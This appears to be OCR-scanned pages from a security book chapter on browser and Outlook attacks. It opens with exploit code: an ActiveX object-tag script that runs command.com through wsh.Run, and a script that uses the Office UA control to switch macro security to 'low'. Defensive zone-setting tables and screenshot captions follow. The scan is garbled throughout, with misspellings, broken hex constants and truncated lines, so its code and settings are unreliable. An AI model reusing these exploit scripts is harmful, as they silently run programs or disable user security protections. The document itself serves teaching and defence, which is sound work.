00CO4FD58A0B'></0object><SCRIPT> altert ('Written by Georgi Guninski
http://www.guninski.com/~joro'); wsh.Run ('c:\\command.com'); </"+"SCRIPT>"; </SCRIPT>

</object>
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var ua;

function setup ( )
{
// Create UA control

ua = new ActiveXObject ("OUACtrl.OUACtrl.1l");

// Attach ua object to ppt object
ua.WndClass = "OpusApp";

ua.OfficeApp = 0;

// Verify UA objects sees office application
return ua.IsAppRunning ( ) ;

}

function disablemacroprotection ( )

{

var ret;

// Activate application

ua.AppActivate ( );

// Display macro security dialog

ua.ShowDialog (0x0E2B) ;

// Click the 'low' botton

ua.SelectTabSDM (0x13);

// Click the 'OK' botton
ua.SelectTabSDM (1) ;

}

function enablemacroprotection ( )
{
// Activate application

ua.AppActivate ( );

// Display macro security dialog

ua.ShowDialog (0xO0EZ2B);

// Click the 'medium' button

ua.SelectTabSDM (0x12);
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// Click the 'OK' button
ua.SelectTabSDM (1) ;

}

// Beginning of script execution

if (setup( )) {
disablemacroprotection ( );
parent.frames ["blank"].location = "
}

</script>

</body>

</html>
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Category Setting Name Recommended Setting ~ Comment
ActiveX controls  Script ActiveX controls  Disable Client-resident
and plug-ins marked “safe for “safe” controls can
scripting” be exploited.
Cookies Allow per-session Enable Less secure but
cookies (not stored) more user friendly.
Downloads File download Enable IE will
automatically
prompt for
dowload based on

the file extension.

Scripting Active scripting Enable Less secure but
more user friendly.

Table 16-1. Recommended Intemet Zone Security Settings (Custom Level Settings Made After
Setting Default to High)

Microsoft Internet Explores ﬂ
‘y An ActiveX control on this page is not safe.

Your current security setting prohibit running unsafe controls on this page.
As a result, this page may not display as intended.
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General  Security | Cmuantl Connections | Proglamsl Advanced |
Select a Web content zone to spedify its security settings.
-
s
Inbemest Local ntranet  Trusted stes  Restncted
stes

Internet
This zone contains all Web sites you |
haven't placed in other zones

ity Sethings

O Prompt =l
] Intasize and scrpt ActrveX controls not marked as sale
® Disable
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O Prompt
W] Run ActrveX controls and phug-ns
Q Admirestrator approved
@® Dizable
O Enable
O Prompt
] Scrpt ActrveX controls marked safe for scrpling
® Drabie
O Enable
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Figure 16-1.  Disabling all ActiveX settings using the Internet Options control panel will protect
against malicious controls downloaded via hostile web pages.

Preferences I Mail Servicesl Mail Format ISDe'IingI Security IOther I Delegates I

Secure e-mail
R -
-
r
Default Security Setting: -
Setup Secure E-Mail... |
Secure content

4 Security zones allow you to customize whether scripts and active
content can be run in HTML messages. Select the Microsoft
Internet Explorer security zone to use.

ST |_° Restricted sites j Zone Settings... ||
Attachment Security... |
Digital IDs (Certificates)

[5 Digital IDs or Certificates are documents that allow you to prove your

identity in electronic transactions.

Import/Export Digital ID... | Getapigial0... |

ok | cance | |

Figure 16-2. Configuring Outlook to use the Restricted Sites zone when browsing.
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